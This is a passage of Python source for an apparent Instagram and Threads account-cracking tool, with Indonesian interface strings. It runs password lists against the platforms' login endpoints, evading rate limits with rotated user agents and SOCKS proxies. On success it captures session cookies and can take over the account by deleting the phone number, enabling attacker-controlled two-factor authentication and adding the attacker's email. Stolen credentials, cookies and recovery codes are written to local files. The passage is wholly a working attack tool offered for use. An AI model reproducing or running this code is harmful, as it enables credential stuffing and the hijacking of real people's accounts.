  730.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white] 2f:-[bold red]{self.faktor}[bold white]     ", end='\r')
  731.         ua_generate = Useragent().useragent_ajax()
  732.         for passwd in password:
  733.             try:
  734.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  735.                 else: ua_generate
  736.                 curl = byps.get('https://www.instagram.com/accounts/onetap/?next=%2F&hl=en', headers = {"user-agent":"UCWEB/2.0 (Java; U; MIDP-2.0; in_ID; SAMSUNG-GT-S3653W) U2/1.0.0 UCBrowser/9.5.0.449 U2/1.0.0 Mobile UNTRUSTED/1.0"}, allow_redirects=True)
  737.                 try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
  738.                 except: csrftoken = None
  739.                 headers = {
  740.                     'Host': 'www.instagram.com',
  741.                     'accept-encoding': 'gzip, deflate, br, zstd',
  742.                     'accept-language': 'in-ID,en-US,en;q=0.9',
  743.                     'x-csrftoken': csrftoken,
  744.                     'accept': '*/*',
  745.                     'x-requested-with': 'XMLHttpRequest',
  746.                     'referer': 'https://www.instagram.com/accounts/onetap/?next=%2F&hl=en',
  747.                     'user-agent': ua_generate,
  748.                 }  
  749.                 payload = {
  750.                     'username': username,
  751.                     'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
  752.                     'optIntoOneTap': False,
  753.                     'queryParams': json.dumps({"hl":"en"}),
  754.                     'stopDeletionNonce': '',
  755.                     'trustedDeviceRecords': {}
  756.                 }
  757.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  758.                 response = byps.post('https://www.instagram.com/api/v1/web/accounts/login/ajax/', data = payload, headers = headers, allow_redirects=True).text
  759.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  760.                 if 'userId' in str(response):
  761.                     self.success+=1
  762.                     print('ok')
  763.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  764.                     except (Exception) as e: cookie = (None)
  765.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  766.                     except (UnboundLocalError) as e: pass
  767.                     if 'ya' in self.amankan_akun:
  768.                         try:
  769.                             num = Require().DeltPhone(cookie)
  770.                             statp, pone = num['Dihapus'], num['Number']
  771.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  772.                             two = Require().Aktifkan2F(cookie)
  773.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  774.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  775.                             Temp = Require().AddMail(cookie)
  776.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  777.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  778.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  779.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  780.                             true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  781.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  782.                             truu.add(Columns([Panel(f"[bold green]{deleted}", title = 'Deleted Nomor', style = "bold grey50", width=30), Panel(f"[bold green]{email} {statd}", title = 'Add Email', style = "bold grey50", width=30)]))
  783.                             truu.add(Panel(f"[bold green]{inbx}", style = "bold grey50", title = 'Web Email', width=61))
  784.                             truu.add(Columns([Panel(f"[bold green]{stat2fa}", title = 'Two Faktor', style = "bold grey50", width=30), Panel(f"[bold green]{key}", title = 'Screet Key', style = "bold grey50", width=30)]))
  785.                             truu.add(Panel(f"[bold green]{kode}", title = 'Kode Pemulihan', style = "bold grey50", width=61))
  786.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61)).add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  787.                             printz(tree)
  788.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  789.                         except Exception as e:
  790.                             print(e)
  791.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  792.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  793.                             tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  794.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  795.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  796.                             printz(tree)
  797.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  798.                     else:
  799.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  800.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  801.                         tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  802.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  803.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  804.                         printz(tree)
  805.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  806.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  807.                         wr.write(save)
  808.                         wr.close()
  809.                     break      
  810.                 elif 'two_factor_required' in str(response):
  811.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  812.                     except (UnboundLocalError) as e: pass
  813.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  814.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  815.                     tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  816.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  817.                     printz(tree)
  818.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  819.                     self.faktor+=1
  820.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  821.                         wr.write(save)
  822.                         wr.close()  
  823.                     break
  824.                 elif 'challenge_required' in str(response):
  825.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  826.                     except (UnboundLocalError) as e: pass
  827.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  828.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  829.                     tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  830.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  831.                     printz(tree)
  832.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  833.                     self.chekpoint+=1
  834.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  835.                         wr.write(save)
  836.                         wr.close()
  837.                     break    
  838.                 elif 'ip_block' in str(response):
  839.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  840.                     time.sleep(3.5)    
  841.                 else: continue  
  842.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  843.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  844.                 time.sleep(31)
  845.                 self.ExecAjax(username, password)
  846.         self.looping+=1
  847.        
  848.     def ExecAjax_Threads(self, username, password):
  849.         byps = requests.Session()
  850.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white] 2f:-[bold red]{self.faktor}[bold white]     ", end='\r')
  851.         ua_generate = Useragent().useragent_ajax()
  852.         for passwd in password:
  853.             try:
  854.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  855.                 else: ua_generate
  856.                 curl = byps.get('https://www.instagram.com/accounts/onetap/?next=%2F&hl=en', headers = {"user-agent":"UCWEB/2.0 (Java; U; MIDP-2.0; in_ID; SAMSUNG-GT-S3653W) U2/1.0.0 UCBrowser/9.5.0.449 U2/1.0.0 Mobile UNTRUSTED/1.0"}, allow_redirects=True)
  857.                 try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
  858.                 except: csrftoken = None
  859.                 headers = {
  860.                     'Host': 'www.instagram.com',
  861.                     'content-length': str(random.randint(100,2999)),
  862.                     'x-ig-app-id': '1217981644879628',
  863.                     'x-instagram-ajax': '1011794706',
  864.                     'user-agent': ua_generate,
  865.                     'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
  866.                     'x-asbd-id': '129477',
  867.                     'dpr': '2',
  868.                     'x-csrftoken': csrftoken,
  869.                     'x-requested-with': 'XMLHttpRequest',
  870.                     'accept': '*/*',
  871.                     'origin': 'https://www.instagram.com',
  872.                     'sec-fetch-site': 'same-origin',
  873.                     'sec-fetch-mode': 'navigate',
  874.                     'sec-fetch-dest': 'document',
  875.                     'referer': 'https://www.instagram.com/accounts/onetap/?next=%2F&hl=en',
  876.                     'accept-encoding': 'gzip, deflate, br, zstd',
  877.                     'accept-language': 'in-ID,en-US,en;q=0.9',
  878.                 }
  879.                 payload = {
  880.                     'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
  881.                     'optIntoOneTap':'false',
  882.                     'queryParams':json.dumps({"hl":"en"}),
  883.                     'trustedDeviceRecords':'{}',
  884.                     'username': username,
  885.                 }
  886.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  887.                 response = byps.post('https://www.threads.net/api/v1/web/accounts/login/ajax/', data = payload, headers = headers, proxies=proxs).text
  888.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  889.                 if 'userId' in str(response):
  890.                     self.success+=1
  891.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  892.                     except (Exception) as e: cookie = (None)
  893.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  894.                     except (UnboundLocalError) as e: pass
  895.                     if 'ya' in self.amankan_akun:
  896.                         try:
  897.                             num = Require().DeltPhone(cookie)
  898.                             statp, pone = num['Dihapus'], num['Number']
  899.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  900.                             two = Require().Aktifkan2F(cookie)
  901.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  902.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  903.                             Temp = Require().AddMail(cookie)
  904.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  905.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  906.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  907.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  908.                             true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  909.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  910.                             truu.add(Columns([Panel(f"[bold green]{deleted}", title = 'Deleted Nomor', style = "bold grey50", width=30), Panel(f"[bold green]{email} {statd}", title = 'Add Email', style = "bold grey50", width=30)]))
  911.                             truu.add(Panel(f"[bold green]{inbx}", style = "bold grey50", title = 'Web Email', width=61))
  912.                             truu.add(Columns([Panel(f"[bold green]{stat2fa}", title = 'Two Faktor', style = "bold grey50", width=30), Panel(f"[bold green]{key}", title = 'Screet Key', style = "bold grey50", width=30)]))
  913.                             truu.add(Panel(f"[bold green]{kode}", title = 'Kode Pemulihan', style = "bold grey50", width=61))
  914.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61)).add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  915.                             printz(tree)
  916.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  917.                         except Exception as e:
  918.                             print(e)
  919.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  920.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  921.                             tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  922.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  923.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  924.                             printz(tree)
  925.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  926.                     else:
  927.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  928.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  929.                         tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  930.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  931.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  932.                         printz(tree)
  933.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  934.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  935.                         wr.write(save)
  936.                         wr.close()
  937.                     break      
  938.                 elif 'two_factor_required' in str(response):
  939.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  940.                     except (UnboundLocalError) as e: pass
  941.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  942.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  943.                     tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  944.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  945.                     printz(tree)
  946.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  947.                     self.faktor+=1
  948.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  949.                         wr.write(save)
  950.                         wr.close()  
  951.                     break
  952.                 elif 'challenge_required' in str(response):
  953.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  954.                     except (UnboundLocalError) as e: pass
  955.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  956.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  957.                     tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  958.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  959.                     printz(tree)
  960.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  961.                     self.chekpoint+=1
  962.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  963.                         wr.write(save)
  964.                         wr.close()
  965.                     break    
  966.                 elif 'ip_block' in str(response):
  967.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  968.                     time.sleep(3.5)    
  969.                 else: continue  
  970.             except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  971.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  972.                 time.sleep(31)
  973.                 self.ExecAjax_Threads(username, password)
  974.         self.looping+=1
  975.  
  976.  
  977.        
Add Comment
Please, Sign In to add comment